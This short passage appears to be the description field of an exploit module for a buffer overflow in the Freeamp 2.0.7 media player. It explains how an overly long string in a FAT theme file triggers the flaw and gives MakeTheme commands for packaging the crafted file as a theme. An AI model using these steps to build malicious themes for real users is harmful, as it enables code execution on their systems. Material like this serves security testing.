'Description' => %q{  
This module exploits a buffer overflow vulnerability  
found in Freeamp 2.0.7. The overflow occurs when an  
overly long string is parsed in the FAT file. This  
module creates a txt file that has to be used in the  
creation of a FAT file. The FAT file then has to be  
imported as a theme. To create the FAT file you need  
to first decompress the basic theme template,  
MakeTheme -d freeamp.fat. Next create the new FAT file  
MakeTheme crash.fat theme.xml title.txt *.bmp.
